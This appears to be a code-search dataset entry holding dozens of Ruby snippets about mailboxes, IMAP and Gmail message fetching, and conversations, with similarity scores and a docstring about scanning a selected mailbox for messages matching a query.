"def get_messages\n @connection.select('INBOX')\n @connection.search(['ALL']).each do |message_id|\n msg = @connection.fetch(message_id,'RFC822')[0].attr['RFC822']\n begin\n process_message(msg)\n rescue\n handle_bogus_message(msg)\n end\n # Mark message as deleted \n @connection.store(message_id, \"+FLAGS\", [:Deleted])\n end\n end",
"def fetch_messages(gmail, label, criteria, save_attachments)\n mails = []\n gmail.mailbox(label).search(criteria).each do |email|\n subject = \"#{Mail::Encodings.value_decode(email.subject)}\"\n puts \"----------\"\n puts \"[#{email.uid}] #{subject}\"\n from = sender(email.from)\n to = recipients(email.to)\n attachments = attachments(email)\n body = extract_body(email)\n\n # TODO: saving attachments should be configurable\n if save_attachments && email.message.attachments.any?\n puts \"Attachments:\"\n email.message.attachments.each do |attachment|\n save_attachment(email, attachment)\n end\n end\n\n mails << { :uid => email.uid,\n :date => Time.parse(email.date),\n :subject => subject,\n :from => from,\n :to => to,\n :body => body,\n :attachments => attachments }\n end\n mails\n end",
"def boxes\n box_lines.map {|l| parse_line l.match(PARSE_BOX) }.to_set\n end",
"def get_message_box(user_id)\r\n self.message_boxes.fetch(user_id.to_s)\r\n end",
"def get_messages where = \"inbox\", opts = {}\n query = {\n mark: false\n }\n query.merge! opts\n get(\"/message/#{where}.json\", query: query)\n end",
"def find_emails(opts)\n emails.reverse.select do |email|\n email.to.include?(opts[:to]) || email.subject == opts[:subject]\n end\n end",
"def find_folders(options={}, &block)\n options[:mailbox] ||= ''\n options[:count] ||= :all\n\n options = validate_options(options)\n mailbox = options[:mailbox] || ''\n mailbox = Net::IMAP.encode_utf7(mailbox)\n mailbox = mailbox.empty? ? '*' : \"#{mailbox}/*\"\n include = options[:include] ||= '*'\n exclude = options[:exclude] ||= nil\n include_flags = options[:include_flags] ||= nil\n exclude_flags = options[:exclude_flags] ||= [:Noselect, :All, :Drafts, :Important, :Junk, :Flagged, :Trash]\n\n start do |imap|\n info \"find_folders block\"\n info \"imap.lsub/list #{mailbox}\"\n boxes = options[:subscribed] ? imap.lsub('', mailbox) : imap.list('', mailbox)\n boxes.replace(options[:what].to_sym == :last ? boxes.last(options[:count]) : boxes.first(options[:count])) if options[:count].is_a?(Integer)\n\n if block_given?\n boxes.each do |box|\n name = Net::IMAP.decode_utf7(box.name)\n flags = box.attr ? box.attr.map{|e| e.to_s.downcase.to_sym} : nil\n next if match_folder(name, exclude) || match_folder_flags(flags, exclude_flags)\n next unless match_folder(name, include) || match_folder_flags(flags, include_flags)\n info \"imap.status #{box.name} #{[\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"]}\"\n status = imap.status(box.name, [\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"])\n yield Folder.new(name, delim: box.delim, flags: flags, messages: status['MESSAGES'], unseen: status['UNSEEN'], validity: status['UIDVALIDITY'], next: status['UIDNEXT'])\n end unless boxes.nil?\n else\n folders = []\n boxes.each do |box|\n name = Net::IMAP.decode_utf7(box.name)\n flags = box.attr ? box.attr.map{|e| e.to_s.downcase.to_sym} : nil\n next if match_folder(name, exclude) || match_folder_flags(flags, exclude_flags)\n next unless match_folder(name, include) || match_folder_flags(flags, include_flags)\n info \"imap.status #{box.name} #{[\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"]}\"\n status = imap.status(box.name, [\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"])\n folders << Folder.new(name, delim: box.delim, flags: flags, messages: status['MESSAGES'], unseen: status['UNSEEN'], validity: status['UIDVALIDITY'], next: status['UIDNEXT'])\n end unless boxes.nil?\n folders.size == 1 && options[:count] == 1 ? folders.first : folders\n end\n end\n end",
"def run(message, flags)\n log message\n\n message_count = 0\n mailboxes = find_mailboxes\n\n mailboxes.each do |mailbox|\n @mailbox = mailbox\n @imap.select @mailbox\n log \"Selected #{@mailbox}\"\n\n messages = find_messages\n\n next if messages.empty?\n\n message_count += messages.length\n\n unless @noop then\n mark messages, flags\n else\n log \"Noop - not marking\"\n end\n\n yield messages if block_given?\n end\n\n log \"Done. Found #{message_count} messages in #{mailboxes.length} mailboxes\"\n end",
"def get_safebox_messages(safebox)\n raise SendSecureException.new(\"SafeBox GUID cannot be null\") if safebox.guid == nil\n @json_client.get_safebox_messages(safebox.guid)[\"messages\"].map {|p| Message.new(p) }\n end",
"def list_boxes\r\n command = 'List-Folder'\r\n execute_outlook_script(command)\r\n end",
"def email_inboxes\n @attributes[:email_inboxes]\n end",
"def fetch_meli_boxes!(filters={})\n puts \"# AccountSyncWorker.fetch_meli_boxes! filters: #{filters}\"\n query_meli_boxes filters do |partial_orders, data, opts|\n puts \"# AccountSyncWorker.fetch_meli_boxes! opts: #{opts}\"\n add_to_collection partial_orders, opts\n ##\n # TODO\n # Enqueue collection instead of adding to collection\n # enqueue_meli_query opts\n ##\n end\n end",
"def list(options)\n messages.select do |m|\n m.type == options[:type] if options[:type]\n end\n end",
"def get_box\n\t\tif params[:box].blank? or ![\"inbox\",\"sent\",\"trash\"].include?(params[:box])\n\t\t\tparams[:box] = 'inbox'\n\t\tend\n\t\t@box = params[:box]\n\tend",
"def messagebox\n\t\t# retrieve all messages and unread messages of current user\n @user = current_user\n @messages = Message.paginate_by_receiver_id @user.id, :page => params[:page], :order => 'created_at DESC', :per_page => 10\n @unread_messages = Message.find(:all, :conditions => {:receiver_id => current_user.id, :unread => true})\n end",
"def mailboxes(options={})\n Resources::Mailboxes.new(self, options)\n end",
"def collect_messages(email, password, label, criteria, save_attachments)\n messages = []\n\n gmail = Gmail.connect(email, password)\n\n begin\n criteria.each do |c|\n messages += fetch_messages(gmail, label, c, save_attachments)\n end\n rescue Exception => e\n puts e.inspect\n ensure\n gmail.logout\n end\n messages\n end",
"def find(options = {}, &block)\n options = validate_options(options)\n \n start do |pop3|\n mails = pop3.mails\n pop3.reset # Clears all \"deleted\" marks. This prevents non-explicit/accidental deletions due to server settings.\n mails.sort! { |m1, m2| m2.number <=> m1.number } if options[:what] == :last\n mails = mails.first(options[:count]) if options[:count].is_a? Integer\n \n if options[:what].to_sym == :last && options[:order].to_sym == :desc ||\n options[:what].to_sym == :first && options[:order].to_sym == :asc ||\n mails.reverse!\n end\n \n if block_given?\n mails.each do |mail|\n new_message = Mail.new(mail.pop)\n new_message.mark_for_delete = true if options[:delete_after_find]\n yield new_message\n mail.delete if options[:delete_after_find] && new_message.is_marked_for_delete? # Delete if still marked for delete\n end\n else\n emails = []\n mails.each do |mail|\n emails << Mail.new(mail.pop)\n mail.delete if options[:delete_after_find]\n end\n emails.size == 1 && options[:count] == 1 ? emails.first : emails\n end\n \n end\n end",
"def list_all(mailbox)\n\tmailbox.list(:new) + mailbox.list(:cur)\nend",
"def messages\n selected_label = params[:label].blank? ? 'INBOX' : params[:label]\n \n begin\n\n unless selected_label.blank?\n @imap = WmailImapUtils.current_imap\n @imap.select(selected_label)\n @status = @imap.status(selected_label, ['MESSAGES', 'RECENT', 'UNSEEN'])\n max = @status['MESSAGES']\n min = @status['MESSAGES']-10\n @max = 10\n @min = 1\n @mailbox = selected_label\n @inbox = []\n\n min = 1 if (max <= 10 and max > 0)\n\n @inbox = @imap.fetch(min..max, 'ENVELOPE')\n @unseen_flags = @imap.search(['NOT','SEEN'])\n @imap.expunge\n end\n\n session[:selected_label] = selected_label\n \n respond_to do|format|\n format.html\n format.js\n end\n\n rescue\n\n respond_to do|format|\n format.html {redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)),\n :alert => 'Connection Lost. Please login to your account'}\n format.js\n end\n \n end\n \n end",
"def boxes \n\n all_boxes = []\n @raw.each do |h|\n\n if [\"status\", \"media\", \"request\"].include?(h[0]) == false && h[1]['boxes'] != nil \n all_boxes << h[1]['boxes'][0] \n end \n end \n return all_boxes\n end",
"def inbox\n return @defaults.objectForKey(:inbox)\n end",
"def inbox\n folders.find_by_name(\"Inbox\")\n end",
"def inbox\n folders.find_by_name(\"Inbox\")\n end",
"def box_set_results_for(set_of_boxes)\n set_of_boxes.map { |box| is_there_a_check_on(box) }\nend",
"def boxes\n return @@boxes\n end",
"def get_conversations(mailbox_id, page = 1, modified_since = nil)\n options = {\n query: {\n page: page,\n modifiedSince: modified_since,\n }\n }\n\n get(\"mailboxes/#{mailbox_id}/conversations\", options)\n end",
"def find_nearest_mailboxes(search, distance, depth)\n location = Location.near(search, distance, :order => :distance)\n if !location.empty?\n if depth > 1\n flash[:notice] = 'No Mailboxes found very close to you; search area expanded.'\n end\n @mailboxes = location.map(&:mailbox).compact\n else\n sleep(0.5)\n find_nearest_mailboxes(search, distance * DISTANCE_MULTIPLIER, depth + 1)\n end\n end",
"def search_emails(search, subject)\n @gmail.in_mailbox(self) do\n email_results = @gmail.imap.uid_search(search).collect { |uid| messages[uid] ||= Message.new(@gmail, self, uid) }\n # If subject is not nil, filter results by subject and mark the rest of the emails as unread.\n if subject\n result = email_results.select {|email| email.subject == subject} \n email_results.reject {|email| email.subject == subject}.each do |email|\n email.mark(:unread)\n end\n return result\n end\n return email_results\n end\n end",
"def index\n\t\t@conversations = current_user.mailbox.conversations\n\tend",
"def fetch_messages(opts = {}, &block)\n check_client_config\n\n opts[:after] = opts.delete(:since) if opts.include?(:since)\n\n mailbox = @client.label(\"INBOX\")\n mailbox.emails(:all, opts).map do |email|\n from = email.from[0]\n\n message_data = {\n :id => email.message_id,\n :source => 'email',\n :thread => email.thread_id,\n :title => email.subject,\n :body => extract_body(email),\n :sender_name => \"#{from.name || from.mailbox}\",\n :sender => \"#{from.mailbox}@#{from.host}\"\n }\n\n block.call Message.build(message_data)\n end\n end",
"def mailbox(receiver)\n mailboxes[receiver]\n end",
"def run\n log \"Flagging tasty messages\"\n\n message_count = 0\n mailboxes = find_mailboxes\n\n mailboxes.each do |mailbox|\n @mailbox = mailbox\n @imap.select @mailbox\n log \"Selected #{@mailbox}\"\n\n message_count += process_unlearned_flagged\n message_count += process_tasty_unflagged\n message_count += process_bland_flagged\n message_count += process_unlearned\n end\n\n log \"Done. Found #{message_count} messages in #{mailboxes.length} mailboxes\"\n end",
"def find(name)\n @boxes.each do |box|\n return box if box.name == name\n end\n\n nil\n end",
"def find(name)\n @boxes.each do |box|\n return box if box.name == name\n end\n\n nil\n end",
"def conversations\n Conversation.where(\"sender_id = ? or recipient_id = ?\",self.id,self.id)\n end",
"def mails\n\n begin\n @imap = WmailImapUtils.current_imap\n \n if not @imap.blank?\n @mailbox = params['mailbox']\n @min = params['min'].to_i\n @max = params['max'].to_i\n @total = params['total'].to_i\n\n @imap.select(@mailbox)\n @mails = @imap.fetch(@total-@max..@total-@min, 'ENVELOPE')\n @unseen_flags = @imap.search(['NOT','SEEN'])\n end\n rescue\n redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)),\n :alert => 'Connection Lost. Please login to your account'\n end\n end",
"def inbox\n cur_emp = get_logged_employee\n @messages = Message.where(\"sent_to = ?\", cur_emp).where(:is_deleted => nil )\n render \"resumes/message_show\"\n end",
"def send_pending_messages\n self.mailbox.conversations.where(mailboxer_label_id: Mailboxer::Label::INFORMATION.id).each do |conversation|\n # Get the message that should have been sent\n message = conversation.messages.first\n # Select the admin who should receive the message\n recipient = message.recipients.detect{ |recipient| recipient.is_a? Admin }\n MailboxerMessageMailer.delay(queue: 'mailers').new_message_email_to_admin(message, recipient)\n end\n nil\n end",
"def conversations(options = {})\n conv = get_conversations(options[:mailbox_type])\n\n if options[:read] == false || options[:unread]\n conv = conv.unread(messageable)\n end\n\n conv\n end",
"def conversations\n Conversation.where(\"sender_id = ? OR recipient_id = ?\", id,id)\n end",
"def find_contacts_menu_advanced\n if session[SELECTED_CONTACTS] == nil\n session[SELECTED_CONTACTS] = []\n end\n @contacts = session[SELECTED_CONTACTS]\n @role_types = RoleType.find(:all, :order => 'role_type_desc')\n end",
"def mailbox\n\t\t\tMarshal.load(get_mailbox)\n\t\t\t#msgs = []\n\t\t\t#get_mailbox.each { |l| msgs << l.chomp }\n\t\t\t#msgs\n\t\tend",
"def set_mailbox\n imap.select(@mailbox.name) if logged_in?\n end",
"def find_all_messages\n if self.forsale\n return Message.where('seller_item_id == ?', self.id)\n elsif self.wanted\n return Message.where('buyer_item_id == ?', self.id)\n else\n return nil\n end\n end",
"def get_messages\n @connection.search(@filter).each do |message|\n body = @connection.fetch(message, \"RFC822\")[0].attr[\"RFC822\"]\n begin\n @processor.process(body)\n rescue StandardError => error\n Mailman.logger.error \"Error encountered processing message: #{message.inspect}\\n #{error.class.to_s}: #{error.message}\\n #{error.backtrace.join(\"\\n\")}\"\n next\n end\n @connection.store(message, \"+FLAGS\", @done_flags)\n end\n # Clears messages that have the Deleted flag set\n @connection.expunge\n end",
"def get_specific_conversations usr, c_type \n conv_ids = Array.new\n convos = Conversation.get_conversations(usr)\n convos.find_each do |convo|\n convo.posts.find_each do |post|\n if (c_type == \"received\" && post.recipient_id == usr.id && post.recipient_status == 'active') ||\n (c_type == \"sent\" && post.user_id == usr.id && post.status == 'active')\n conv_ids << convo.id if usr_msg?(convo, usr); break\n end\n end\n end\n return convos.where([\"id in (?)\", conv_ids]).sort_by {|x| x.posts.last.created_at }.reverse \n end",
"def empty_mailboxes\n\t\t\tempty_mailbox\n\t\t\tempty_temp_mailbox\n\t\tend",
"def show\n @boxes_count = @room.boxes.count\n @boxes = @room.boxes.order(:name).skip(@skip).limit(@limit)\n end",
"def mailboxes(domain = Mailgun.domain)\n Mailgun::Mailbox.new(self, domain)\n end",
"def search_conversations(query)\n search(\"conversations\", query)\n end",
"def find_contacts_menu\n if session[SELECTED_CONTACTS] == nil\n session[SELECTED_CONTACTS] = []\n end\n @contacts = session[SELECTED_CONTACTS] \n end",
"def messages(*args)\n if new_record?\n raise Errors::FolderNotFound.new(@id, \"Folder does only exist locally\")\n else\n if !@conn_id.nil? && !@location.nil? && selectable?\n self.class.message_class.all(@conn_id, @location.path, *args)\n else\n []\n end\n end\n end",
"def find_all_messages\n\t\tif self.forsale\n\t\t\treturn Message.where('seller_item_id == ?', self.id) \n\t\telsif self.wanted \n\t\t\treturn Message.where('buyer_item_id == ?', self.id) \n else \n\t \t\treturn nil \t\n\t end \n\tend",
"def set_inbox\n @inbox = current_user.inboxes.find(params[:id])\n end",
"def list(domain, opts = {}, map_mailboxes = true)\n mailboxes = call('domain.mailbox.list', domain.fqdn, opts)\n \n if map_mailboxes\n mailboxes.map! do |mailbox|\n self.new(domain, mailbox['login'])\n end\n end\n return mailboxes\n end",
"def get_already_selected()\n # already_selected combine session[SELECTED_CONTACTS]\n # and session contacts from saved contact and mailing lists\n # and are displayed without check boxes\n # so that they are not added again to the Selected Results\n # section\n already_selected = Array.new\n already_selected = session[SELECTED_CONTACTS]\n already_selected = already_selected + session[:list_contacts] unless session[:list_contacts].blank?\n already_selected = already_selected + session[:mailout_contacts] unless session[:mailout_contacts].blank? \n \n return already_selected\n end",
"def find_in_batches(options={}, &block)\n options[:count] ||= :all\n options = validate_options(options)\n mailbox = options[:mailbox]\n batch_size = options.delete(:batch_size) || 10\n\n start do |imap|\n info \"find_in_batches block\"\n info \"imap.examine/select #{options[:mailbox]}\"\n options[:read_only] ? imap.examine(options[:mailbox]) : imap.select(options[:mailbox])\n\n info \"imap.responses #{\"UIDVALIDITY\"}\"\n validity = imap.responses[\"UIDVALIDITY\"].first\n info \"imap.uid_search #{options[:keys]}\"\n uids = imap.uid_search(options[:keys])\n uids.replace(options[:what].to_sym == :last ? uids.last(options[:count]) : uids.first(options[:count])) if options[:count].is_a?(Integer)\n\n if block_given?\n uids.each_slice(batch_size) do |batch|\n results = []\n info \"imap.uid_fetch #{batch} #{\"(UID FLAGS RFC822.SIZE INTERNALDATE RFC822 BODY.PEEK[HEADER.FIELDS (MESSAGE-ID)])\"}\"\n imap.uid_fetch(batch, \"(UID FLAGS RFC822.SIZE INTERNALDATE RFC822 BODY.PEEK[HEADER.FIELDS (MESSAGE-ID)])\").each do |data|\n uid = data.attr['UID'].to_i\n flags = data.attr['FLAGS'].map {|flag| flag.to_s.downcase.to_sym}\n message_size = data.attr['RFC822.SIZE'].to_i\n message_date = Time.parse(data.attr['INTERNALDATE'])\n rfc822 = data.attr['RFC822']\n results << Message.new(rfc822,{folder: mailbox, validity: validity, uid: uid, flags: flags, message_size: message_size, message_date: message_date})\n end\n info \"imap.uid_store #{batch} #{\"+FLAGS\"} #{[Net::IMAP::DELETED]}\" if options[:delete_after_find]\n imap.uid_store(batch, \"+FLAGS\", [Net::IMAP::DELETED]) if options[:delete_after_find]\n yield results\n end\n info \"imap.expunge\" if options[:delete_after_find]\n imap.expunge if options[:delete_after_find]\n end\n end\n end",
"def order_mailboxes(mblist)\n mailboxes = []\n\n # Most of the mailboxes are in the correct order, but we want to move\n # these ones to the front because they're displayed first in Gmail.\n # So we delete them from mblist and append to mailboxes.\n mailboxes << mblist.delete( mblist.find{ |m| m.name == 'INBOX' } )\n mailboxes << mblist.delete( mblist.find{ |m| m.name == '[Gmail]/Starred' } )\n mailboxes << mblist.delete( mblist.find{ |m| m.name == '[Gmail]/Important' } )\n mailboxes << mblist.delete( mblist.find{ |m| m.name == '[Gmail]/Sent Mail' } )\n mailboxes << mblist.delete( mblist.find{ |m| m.name == '[Gmail]/Drafts' } )\n mailboxes << mblist.delete( mblist.find{ |m| m.name == '[Gmail]/All Mail' } )\n mailboxes << mblist.delete( mblist.find{ |m| m.name == '[Gmail]/Spam' } )\n mailboxes << mblist.delete( mblist.find{ |m| m.name == '[Gmail]/Bin' } )\n\n # Now put the rest of the mailboxes on the end.\n mailboxes.concat mblist\n\n return mailboxes\n end",
"def thread_messages\n #thread.messages + [thread]\n Message.where([\"id = ? or parent_id = ?\", thread_id, thread_id])\n end",
"def actor_collection_for_select_options(project, actor)\r\n # Return empty list if actor is not a sender nor a receiver\r\n return [] unless actor.in?(['sender', 'receiver'])\r\n # Gets the opposite actor of the actor given sender -> receiver, etc.\r\n actor_opposite = actor == 'sender' ? 'receiver' : 'sender'\r\n\r\n # Gets the type of the sender/receiver, User or Role\r\n receiver_type = @receiver_type# || LeavesHolidaysManagements.default_actor_type\r\n sender_type = @sender_type#|| LeavesHolidaysManagements.default_actor_type\r\n\r\n # If actor is the sender, get sender type. otherwise, get receiver type\r\n actor_type = actor == 'sender' ? sender_type : receiver_type\r\n actor_opposite_type = actor_opposite == 'sender' ? sender_type : receiver_type\r\n # Get a list of roles or users with regards to the actor type provided\r\n list = project.send(actor_type.underscore + \"_list\")\r\n\r\n # Get the list of ids already selected previously for the other actor\r\n list_opposite_ids = actor_opposite == 'sender' ? @sender_list_id : @receiver_list_id\r\n \r\n # if the list is not empty\r\n if list_opposite_ids\r\n list_opposite = list_opposite_ids.map{|e| e.to_i}\r\n if actor_type == actor_opposite_type\r\n list.delete_if {|l| l.id.in?(list_opposite)}\r\n return list.map{|l| [l.name, l.id]}\r\n else\r\n if actor_opposite_type == 'Role' && actor_type == 'User'\r\n actor_opposite_roles_selected = Role.where(id: list_opposite).to_a\r\n actor_opposite_associated_user_ids = project.users_for_roles(actor_opposite_roles_selected).map(&:id)\r\n list.delete_if {|l| l.id.in?(actor_opposite_associated_user_ids)}\r\n return list.map{|l| [l.name, l.id]}\r\n end\r\n end\r\n end\r\n\r\n return list.map{|l| [l.name, l.id]}.sort_by{|t| t[0]}\r\n end",
"def set_inbox\n @inbox = Inbox.find(params[:id])\n @account_inbox = @inbox.account_inboxes.find_by_account_id(current_account.id)\n end",
"def actor_collection_for_select_options(project, actor)\r\n # Return empty list if actor is not a sender nor a receiver\r\n return [] unless actor.in?(['sender', 'receiver'])\r\n # Gets the opposite actor of the actor given sender -> receiver, etc.\r\n actor_opposite = actor == 'sender' ? 'receiver' : 'sender'\r\n\r\n # Gets the type of the sender/receiver, User or Role\r\n receiver_type = @receiver_type# || LeavesHolidaysManagements.default_actor_type\r\n sender_type = @sender_type#|| LeavesHolidaysManagements.default_actor_type\r\n\r\n # If actor is the sender, get sender type. otherwise, get receiver type\r\n actor_type = actor == 'sender' ? sender_type : receiver_type\r\n actor_opposite_type = actor_opposite == 'sender' ? sender_type : receiver_type\r\n # Get a list of roles or users with regards to the actor type provided\r\n list = project.send(actor_type.underscore + \"_list\")\r\n\r\n # Get the list of ids already selected previously for the other actor\r\n list_opposite_ids = actor_opposite == 'sender' ? @sender_list_id : @receiver_list_id\r\n list_opposite_exception_ids = actor_opposite == 'sender' ? @sender_exception_id : @receiver_exception_id\r\n list_opposite_exception_ids ||= []\r\n # if the list is not empty\r\n if list_opposite_ids\r\n list_opposite = list_opposite_ids.map{|e| e.to_i}\r\n if actor_type == actor_opposite_type\r\n list.delete_if {|l| l.id.in?(list_opposite)}\r\n return list.map{|l| [l.name, l.id]}\r\n else\r\n if actor_opposite_type == 'Role' && actor_type == 'User'\r\n actor_opposite_roles_selected = Role.where(id: list_opposite).to_a\r\n actor_opposite_associated_user_ids = project.users_for_roles(actor_opposite_roles_selected).map(&:id)\r\n list.delete_if {|l| l.id.in?(actor_opposite_associated_user_ids - list_opposite_exception_ids.map(&:to_i))}\r\n return list.map{|l| [l.name, l.id]}\r\n end\r\n end\r\n end\r\n\r\n return list.map{|l| [l.name, l.id]}.sort_by{|t| t[0]}\r\n end",
"def sentbox \n add_breadcrumb \"Sentbox\"\n\n @sentbox = current_user.mailbox.sentbox.page(params[:page])\n\n respond_with(@sentbox)\n end",
"def search_conversations(query)\n search(\"search/conversations\", query)\n end",
"def check_inbox(username, server)\n imap = Net::IMAP.new('imap.gmail.com', 993, true, nil, false)\n imap.login(username, get_keychain_password(username, server))\n imap.examine('INBOX')\n imap.search([\"NOT\", \"SEEN\"]).length\nend",
"def index\n @q = MsgMail.active.ransack(params[:q])\n @mails = @q.result.includes(:mail_type).page(params[:page]).per(15)\n end",
"def select(mailbox)\n tagged_response(\"SELECT\", to_utf7(mailbox))\n end",
"def find_recipients_for(message)\n message.to_addrs\n end",
"def imap_readmail\n q = Queue.new\n imap.search([imap_search_for]).each do |message_id|\n msg = imap.fetch(message_id, 'RFC822')[0].attr['RFC822']\n mail = Mail.new(msg)\n case_id = get_case_id(mail)\n e = Email.create(case_id: case_id, date: mail.date, is_sent: false, raw: MailCompressor.compress_mail(msg), to: @email_account.user_name, from: mail.from[0].to_s, subject: mail.subject, body: mail.text_part.body.to_s)\n q.push(e)\n imap.store(message_id, '+FLAGS', [:Seen])\n end\n return q\n end",
"def outbox\n cur_emp = get_logged_employee\n @messages = Message.where(\"sent_by = ?\", cur_emp).where(:is_deleted => nil) \n render \"resumes/message_show\"\n end",
"def get_mails\n gmail = Gmail.connect @current_user.login, @current_user.password\n return nil unless gmail.logged_in?\n\n mails = gmail.inbox.find :unread, after: @filter_date + 1\n sent_mails = gmail.label(\"[Gmail]/Sent Mail\").find(afetr: @filter_date + 1)\n sent_mails.each { |e| mails << e }\n mails.sort_by!(&:date)\n\n end",
"def check_message_list(t)\n bot_user = BotUser.where(name: 'Smooch').last\n bot = t.team_bot_installations.find_by_user_id bot_user.id\n bot ? bot.settings['smooch_project_id'] : nil\nend",
"def boxes\n @_boxes ||= BoxCollection.new(boxes_path)\n end",
"def mbox_from\n @mbox_from\n end",
"def index\n @asterisk_voicemail_boxes = AsteriskVoicemailBox.all\n end",
"def system_conversations\n system.conversations\n end",
"def get_messages(queue_name, options = {})\r\n raise WAZ::Queues::OptionOutOfRange, {:name => :num_of_messages, :min => 1, :max => 32} if (options.keys.include?(:num_of_messages) && (options[:num_of_messages].to_i < 1 || options[:num_of_messages].to_i > 32))\r\n raise WAZ::Queues::OptionOutOfRange, {:name => :visibility_timeout, :min => 1, :max => 7200} if (options.keys.include?(:visibility_timeout) && (options[:visibility_timeout].to_i < 1 || options[:visibility_timeout].to_i > 7200))\r\n content = execute(:get, \"#{queue_name}/messages\", options, {:x_ms_version => \"2009-09-19\"})\r\n doc = REXML::Document.new(content)\r\n messages = []\r\n REXML::XPath.each(doc, '//QueueMessage/') do |item|\r\n message = { :message_id => REXML::XPath.first(item, \"MessageId\").text,\r\n :message_text => REXML::XPath.first(item, \"MessageText\").text,\r\n :dequeue_count => REXML::XPath.first(item, \"DequeueCount\").nil? ? nil : REXML::XPath.first(item, \"DequeueCount\").text.to_i,\r\n :expiration_time => Time.httpdate(REXML::XPath.first(item, \"ExpirationTime\").text),\r\n :insertion_time => Time.httpdate(REXML::XPath.first(item, \"InsertionTime\").text) }\r\n\r\n # This are only valid when peek-locking messages\r\n message[:pop_receipt] = REXML::XPath.first(item, \"PopReceipt\").text unless REXML::XPath.first(item, \"PopReceipt\").nil?\r\n message[:time_next_visible] = Time.httpdate(REXML::XPath.first(item, \"TimeNextVisible\").text) unless REXML::XPath.first(item, \"TimeNextVisible\").nil?\r\n messages << message\r\n end\r\n return messages\r\n end",
"def all_inboxes(graph, login_user)\n cache.cache(\"inbox\"+login_user, :expires_in => 1.day){\n\n # Fetch the first page\n result = graph.get_connections(\"me\", \"inbox\")\n\n # Fetch the next page. We won't fetch more than \n # two pages so as not to reach the api limit.\n next_page = result.next_page\n\n # List of inbox objects\n all = []\n all.push result\n if next_page\n all.push next_page\n end\n thread_array all\n }\n end",
"def index\n @users = User.all\n if current_user.role? :supervisor\n @search = current_user.posted.search(params[:q])\n @messages = @search.result.page(params[:page]).per(current_user.list_page_size)\n elsif current_user.role? :admin\n @search = Message.search(params[:q])\n @messages = @search.result.page(params[:page]).per(current_user.list_page_size)\n end \n \n @search_inbox = current_user.user_messages.search(params[:q])\n @inboxes = @search_inbox.result.page(params[:page]).per(current_user.list_page_size)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @messages }\n end\n end",
"def get_mailbox_messages mailbox_id, posted_since = \"\", include_deleted = \"false\"\n\t\t\tposted_since = Date.today if posted_since.length == 0\n\n\t\t\t@response = api_request 'LoadMessages', [mailbox_id, posted_since, include_deleted]\n\t\t\traise ZenfolioAPI::ZenfolioAPISessionError, @response['error']['message'] if @response['result'].nil? && @response['error'].length > 0\n\n\t\t\t\n\t\tend",
"def message_subjects\n list = []\n active_div.divs(:class=>\"inbox_subject\").each do |div|\n list << div.text\n end\n return list\n end",
"def set_boxes_variables\n @show = index_params[:show]\n @order = index_params[:order] || 'desc'\n @search = params[:messages].present? ? search_params[:body] : \"\"\n end"
] |
[
"0.6662977",
"0.6570647",
"0.63797665",
"0.63797665",
"0.6059594",
"0.6022075",
"0.5973881",
"0.5898137",
"0.5675762",
"0.56723934",
"0.5640915",
"0.555897",
"0.5546591",
"0.5534385",
"0.55053604",
"0.5480045",
"0.54285777",
"0.54090655",
"0.54038024",
"0.5403693",
"0.5381436",
"0.5361677",
"0.5359952",
"0.5309801",
"0.5269856",
"0.5268845",
"0.5267478",
"0.52586865",
"0.5242026",
"0.5234997",
"0.5151433",
"0.5138297",
"0.51216924",
"0.5107122",
"0.51020116",
"0.5084008",
"0.50756866",
"0.50749105",
"0.50512177",
"0.502556",
"0.502556",
"0.5005893",
"0.49673072",
"0.49619457",
"0.49616963",
"0.49586427",
"0.4953586",
"0.4951265",
"0.4941839",
"0.4919294",
"0.4913547",
"0.4913547",
"0.49124894",
"0.49057224",
"0.48983875",
"0.48876977",
"0.48777008",
"0.4862748",
"0.486087",
"0.4859885",
"0.4858972",
"0.48536628",
"0.48498338",
"0.48364845",
"0.48338524",
"0.4823641",
"0.4823376",
"0.48212034",
"0.48071483",
"0.4797274",
"0.47946984",
"0.4790426",
"0.47903615",
"0.4784621",
"0.4781951",
"0.47759703",
"0.47674873",
"0.47592223",
"0.47456995",
"0.47437313",
"0.47376022",
"0.47145152",
"0.47121134",
"0.47115263",
"0.46928096",
"0.46910116",
"0.46717092",
"0.46715522",
"0.4668336",
"0.46582043",
"0.46536127",
"0.46482596",
"0.464763",
"0.46406412",
"0.46403176",
"0.4638786",
"0.46387172",
"0.463597",
"0.46343905",
"0.4628437"
] |
0.7471203
|
0
|
Searches for messages matching +query+ in the selected mailbox (see Net::IMAPselect). Logs 'Scanning for +message+' before searching.
|
def search(query, message)
log " Scanning for #{message}"
messages = @imap.search query
log " Found #{messages.length} messages"
return messages
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def search(query, &block)\n mailbox(get_right_box :all).search(query, &block)\n end",
"def search_messages(options = {})\n raise ArgumentError, 'Required arguments :query missing' if options[:query].nil?\n if block_given?\n Pagination::Cursor.new(self, :search_messages, options).each do |page|\n yield page\n end\n else\n post('search.messages', options)\n end\n end",
"def search_messages(options={})\n throw ArgumentError.new(\"Required arguments :query missing\") if options[:query].nil?\n post(\"search.messages\", options)\n end",
"def search_sms(query_string)\n Response.new self.class.get(\"/messages?#{query_string}\", :basic_auth => @auth, :headers => SMSIFIED_HTTP_HEADERS)\n end",
"def find_messages\n mailbox = @boxes.find { |box| @mailbox =~ /#{box}/ } # TODO: needs more work\n raise unless mailbox\n age = @cleanse[mailbox]\n before_date = (Time.now - 86400 * age).imapdate\n\n search [\n 'NOT', 'NEW',\n 'NOT', 'FLAGGED',\n 'BEFORE', before_date\n ], 'read, unflagged messages'\n end",
"def search_conversations(query)\n search(\"conversations\", query)\n end",
"def search_conversations(query)\n search(\"search/conversations\", query)\n end",
"def search_emails(search, subject)\n @gmail.in_mailbox(self) do\n email_results = @gmail.imap.uid_search(search).collect { |uid| messages[uid] ||= Message.new(@gmail, self, uid) }\n # If subject is not nil, filter results by subject and mark the rest of the emails as unread.\n if subject\n result = email_results.select {|email| email.subject == subject} \n email_results.reject {|email| email.subject == subject}.each do |email|\n email.mark(:unread)\n end\n return result\n end\n return email_results\n end\n end",
